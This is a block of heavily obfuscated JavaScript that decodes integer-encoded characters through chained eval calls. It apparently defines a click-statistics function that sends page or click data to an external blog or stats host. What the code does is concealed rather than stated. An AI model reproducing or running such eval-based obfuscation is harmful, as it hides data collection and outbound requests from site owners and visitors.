OlOlll="(x)";OllOlO=" String";OlllOO="tion";OlOllO="Code(x)}";OllOOO="Char";OlllOl="func";OllllO=" l = ";OllOOl=".from";OllOll="{return";Olllll="var";eval(Olllll+OllllO+OlllOl+OlllOO+OlOlll+OllOll+OllOlO+OllOOl+OllOOO+OlOllO);eval(l(79)+l(61)+l(102)+l(117)+l(110)+l(99)+l(116)+l(105)+l(111)+l(110)+l(40)+l(109)+l(41)+l(123)+l(114)+l(101)+l(116)+l(117)+l(114)+l(110)+l(32)+l(83)+l(116)+l(114)+l(105)+l(110)+l(103)+l(46)+l(102)+l(114)+l(111)+l(109)+l(67)+l(104)+l(97)+l(114)+l(67)+l(111)+l(100)+l(101)+l(40)+l(77)+l(97)+l(116)+l(104)+l(46)+l(102)+l(108)+l(111)+l(111)+l(114)+l(40)+l(109)+l(47)+l(49)+l(48)+l(48)+l(48)+l(48)+l(41)+l(47)+l(57)+l(57)+l(41)+l(59)+l(125));eval(""+O(100983777)+O(115832220)+O(108907829)+O(98018555)+O(114840944)+O(103953736)+O(109896397)+O(108904677)+O(31683874)+O(98017405)+O(106924266)+O(103955869)+O(98017056)+O(105937349)+O(82176086)+O(114847088)+O(96032254)+O(114840849)+O(39605967)+O(99997886)+O(116823245)+O(114845812)+O(40592519)+O(31686819)+O(121772308)+O(12874461)+O(9906354)+O(46535831)+O(46533110)+O(19779213594)+O(38366461760)+O(30036600348)+O(114840696)+O(112867610)+O(119795508)+O(44558107)+O(98018246)+O(96031711)+O(114844829)+O(98017300)+O(102961970)+O(35462799157)+O(21262233470)+O(20651402560)+O(23246190054)+O(19781198269)+O(21300849459)+O(27703175481)+O(34919288923)+O(21898801994)+O(19779210690)+O(20808814927)+O(24070860272)+O(99995281)+O(106924789)+O(99991192)+O(107915257)+O(99993245)+O(108907836)+O(114847263)+O(30036608068)+O(25780596179)+O(27582392475)+O(64653939842)+O(12879684)+O(9905812)+O(114849701)+O(112862634)+O(119794041)+O(121770925)+O(12870194)+O(9904414)+O(116823054)+O(96039407)+O(112860426)+O(31684863)+O(103953999)+O(107918142)+O(96036018)+O(101971815)+O(99992603)+O(31681757)+O(60399765)+O(31684620)+O(99007841)+O(109896170)+O(98014635)+O(115839653)+O(107919949)+O(99993124)+O(108902631)+O(114845642)+O(45541425)+O(98017475)+O(112868891)+O(99998474)+O(96031906)+O(114849824)+O(99996632)+O(68317379)+O(106921738)+O(99993316)+O(107912633)+O(99997013)+O(108905738)+O(114844892)+O(39604836)+O(33662847)+O(59408258)+O(103958080)+O(107913327)+O(101970472)+O(61382948)+O(59406572)+O(46533490)+O(103952981)+O(107915825)+O(101975209)+O(61385430)+O(33664395)+O(40598208)+O(58417788)+O(12876910)+O(9901282)+O(123756893)+O(98019131)+O(96037988)+O(114849154)+O(98012519)+O(102962251)+O(39604287)+O(99995029)+O(112863513)+O(112860097)+O(40592445)+O(121772598)+O(12872223)+O(9905394)+O(116825613)+O(96031875)+O(112861887)+O(31681363)+O(103959130)+O(107910900)+O(96037946)+O(101970765)+O(99996471)+O(31683083)+O(60394860)+O(31680599)+O(99003402)+O(109890144)+O(98010092)+O(115835068)+O(107913912)+O(99997219)+O(108900185)+O(114849967)+O(45544935)+O(98013689)+O(112869979)+O(99997502)+O(96038136)+O(114840569)+O(99994933)+O(68311768)+O(106926110)+O(99992844)+O(107918225)+O(99991566)+O(108907217)+O(114843090)+O(39608877)+O(38619075)+O(103957999)+O(107910901)+O(101974473)+O(38610002)+O(40594591)+O(58411161)+O(12872219)+O(9903265)+O(123754914)+O(12873068)+O(9905081)+O(46536018)+O(46531529)+O(36456750944)+O(36950765504)+O(19781192863)+O(29692080994)+O(99007327)+O(109897849)+O(98016487)+O(115839338)+O(107918636)+O(99992069)+O(108900623)+O(114844813)+O(45543766)+O(97025406)+O(109895253)+O(99008496)+O(119796389)+O(45545894)+O(113858239)+O(98010485)+O(112862426)+O(109891353)+O(106927235)+O(106924465)+O(75245214)+O(99990181)+O(100980622)+O(114846234)+O(25780592195)+O(27582395756)+O(26204316478)+O(33381812396)+O(24226298631)+O(28094224542)+O(20948404144)+O(26200353918)+O(30036605794)+O(20334609101)+O(64639083814)+O(22017605457)+O(19825743369)+O(22088881122)+O(117815762)+O(50495475)+O(98018386)+O(26364696310)+O(20724662309)+O(30036604020)+O(32267075903)+O(38638712527)+O(19812872449)+O(36451804768)+O(22015629864)+O(20334604912)+O(22757131154)+O(32131445411)+O(19825746113)+O(47526895)+O(64653932833)+O(12875812)+O(9903331)+O(116823979)+O(96031151)+O(112866479)+O(31681862)+O(114847971)+O(99995460)+O(107910852)+O(110884837)+O(87122930)+O(31687487)+O(60393678)+O(31680768)+O(99990536)+O(116820599)+O(114844272)+O(45541898)+O(98011792)+O(106927930)+O(103957920)+O(99997974)+O(108904032)+O(114845010)+O(87120809)+O(31680832)+O(42577037)+O(31687127)+O(99003906)+O(109891200)+O(98019755)+O(115831568)+O(107919059)+O(99995473)+O(108909580)+O(114840176)+O(45546161)+O(99006861)+O(109899441)+O(98018175)+O(115833735)+O(107912268)+O(99994054)+O(108901105)+O(114846513)+O(68313544)+O(106925619)+O(99992875)+O(107912664)+O(99999331)+O(108900949)+O(114844463)+O(45540231)+O(113851637)+O(98016574)+O(112864568)+O(109896998)+O(106929469)+O(106925730)+O(75240655)+O(99990554)+O(100980393)+O(114841266)+O(58411262)+O(12875617)+O(9909728)+O(116821533)+O(96038195)+O(112863833)+O(31686216)+O(114842069)+O(99990253)+O(107917197)+O(110882499)+O(88114524)+O(31688554)+O(60390020)+O(31688473)+O(99995666)+O(116827162)+O(114845920)+O(45545722)+O(98013551)+O(106921741)+O(103955720)+O(99991595)+O(108904972)+O(114843247)+O(88119306)+O(31682222)+O(42578168)+O(31683311)+O(99009543)+O(109894789)+O(98017415)+O(115832880)+O(107919137)+O(99990725)+O(108901639)+O(114845932)+O(45541979)+O(99003115)+O(109897436)+O(98015636)+O(115838962)+O(107913587)+O(99998029)+O(108901209)+O(114844514)+O(68316249)+O(106923572)+O(99999880)+O(107914144)+O(99998775)+O(108904977)+O(114849897)+O(45545234)+O(113853699)+O(98012945)+O(112867282)+O(109892935)+O(106926143)+O(106926254)+O(83161195)+O(109890616)+O(110887768)+O(58418536)+O(12870172)+O(9909555)+O(103950538)+O(107910709)+O(96034261)+O(101975763)+O(99998067)+O(45547084)+O(113856137)+O(112862748)+O(98016776)+O(31686705)+O(60397630)+O(31687778)+O(33663841)+O(102967956)+O(114846800)+O(114845798)+O(110884033)+O(57423643)+O(46534688)+O(46539530)+O(97022926)+O(106925851)+O(109890158)+O(101976470)+O(45549677)+O(119794682)+O(108905878)+O(99003528)+O(96038599)+O(103952685)+O(106928433)+O(119797866)+O(45545092)+O(98017247)+O(108900779)+O(46538123)+O(107918136)+O(107916503)+O(113855820)+O(116823667)+O(109898533)+O(114840439)+O(99995759)+O(46530778)+O(110889341)+O(96037776)+O(114843057)+O(98013728)+O(102962538)+O(46530933)+O(115835320)+O(113855619)+O(99993858)+O(112865939)+O(94058238)+O(113858524)+O(114845950)+O(96031485)+O(114847846)+O(113855008)+O(45548539)+O(110881506)+O(102965767)+O(110883401)+O(62373090)+O(114848628)+O(103958880)+O(114847351)+O(106928668)+O(99991631)+O(60397884)+O(33666125)+O(31685095)+O(42578676)+O(31687617)+O(99005875)+O(109899322)+O(98019452)+O(115835662)+O(107913692)+O(99991001)+O(108903633)+O(114844766)+O(45545600)+O(114843660)+O(103950085)+O(114848905)+O(106926896)+O(99998568)+O(31681097)+O(42572454)+O(31688228)+O(33669437)+O(37628599)+O(118806842)+O(60393601)+O(33667418)+O(31684780)+O(42579324)+O(31687187)+O(114847517)+O(99997847)+O(107914051)+O(110884222)+O(87129505)+O(31684729)+O(42576502)+O(31687540)+O(33668688)+O(37626485)+O(119798507)+O(60395384)+O(33664468)+O(31688863)+O(42572593)+O(31687998)+O(114847561)+O(99990043)+O(107911192)+O(110880216)+O(88119900)+O(31689910)+O(42578368)+O(31684759)+O(33664843)+O(37620392)+O(113859153)+O(98016291)+O(112869072)+O(99994370)+O(99994312)+O(108909403)+O(118801778)+O(60391463)+O(33666448)+O(31684657)+O(42571158)+O(31682581)+O(117816685)+O(103955563)+O(108903032)+O(99001571)+O(109899877)+O(117815956)+O(45541485)+O(113851504)+O(98010279)+O(112861605)+O(99996827)+O(99995184)+O(108908916)+O(45542096)+O(117811873)+O(103954326)+O(99008514)+O(114849039)+O(102963605)+O(31689507)+O(42571778)+O(31684459)+O(33663565)+O(37623481)+O(113854058)+O(98018892)+O(112867012)+O(99993722)+O(99991996)+O(108902120)+O(119797835)+O(60396193)+O(33665610)+O(31680768)+O(42573484)+O(31681226)+O(117812461)+O(103956049)+O(108901764)+O(99004135)+O(109899040)+O(117811814)+O(45549245)+O(113857742)+O(98016320)+O(112867783)+O(99999261)+O(99991317)+O(108903526)+O(45545332)+O(102965976)+O(99990634)+O(103956643)+O(101973530)+O(102969848)+O(114846796)+O(58415859)+O(12871259)+O(9908975)+O(103957287)+O(107919287)+O(96037200)+O(101970253)+O(99991314)+O(45548587)+O(102963227)+O(99994071)+O(103952903)+O(101975860)+O(102968315)+O(114846347)+O(31689464)+O(60390151)+O(31689459)+O(47522099)+O(58410560)+O(12876197)+O(9903306)+O(103955480)+O(107911483)+O(96037692)+O(101977196)+O(99992216)+O(45548893)+O(117812277)+O(103951140)+O(99001725)+O(114841277)+O(102965672)+O(31682902)+O(60397849)+O(31685240)+O(47527978)+O(58416781)+O(12879097)+O(9909782)+O(46535992)+O(46532972)+O(19779211564)+O(38366464611)+O(30036601597)+O(114848444)+O(112860278)+O(119795256)+O(44557765)+O(98012155)+O(96037650)+O(114847333)+O(98010533)+O(102967131)+O(35462790875)+O(21262234605)+O(23394697401)+O(33767919439)+O(69303697)+O(103950710)+O(112860074)+O(99999413)+O(100981767)+O(109892351)+O(118802180)+O(19779213608)+O(30036604966)+O(25000472572)+O(37787310670)+O(20244516945)+O(24440134569)+O(64653936336)+O(12872967)+O(9903206)+O(114847835)+O(112867033)+O(119790628)+O(121778687)+O(12877762)+O(9901768)+O(99004241)+O(109898130)+O(98011111)+O(115835347)+O(107913641)+O(99994305)+O(108903511)+O(114847704)+O(45542093)+O(97022589)+O(109896506)+O(99007183)+O(119793055)+O(45549733)+O(103957730)+O(108902588)+O(113853370)+O(99991635)+O(112862043)+O(114840181)+O(65347291)+O(99998369)+O(100988423)+O(109897919)+O(112861611)+O(99996018)+O(39604710)+O(103958147)+O(107913350)+O(96033883)+O(101979836)+O(99991678)+O(40597960)+O(58412568)+O(12871131)+O(9900734)+O(123757791)+O(98013112)+O(96032467)+O(114845598)+O(98017703)+O(102969850)+O(39607546)+O(99999950)+O(112867121)+O(112860027)+O(40591474)+O(121772884)+O(123755600)+O(12871302)+O(9902903)+O(112861363)+O(99991988)+O(114844232)+O(115838509)+O(112865485)+O(108905680)+O(31680597)+O(114841324)+O(112860346)+O(115832112)+O(99999985)+O(58414531)+O(12872520)+O(9903652)+O(123756446));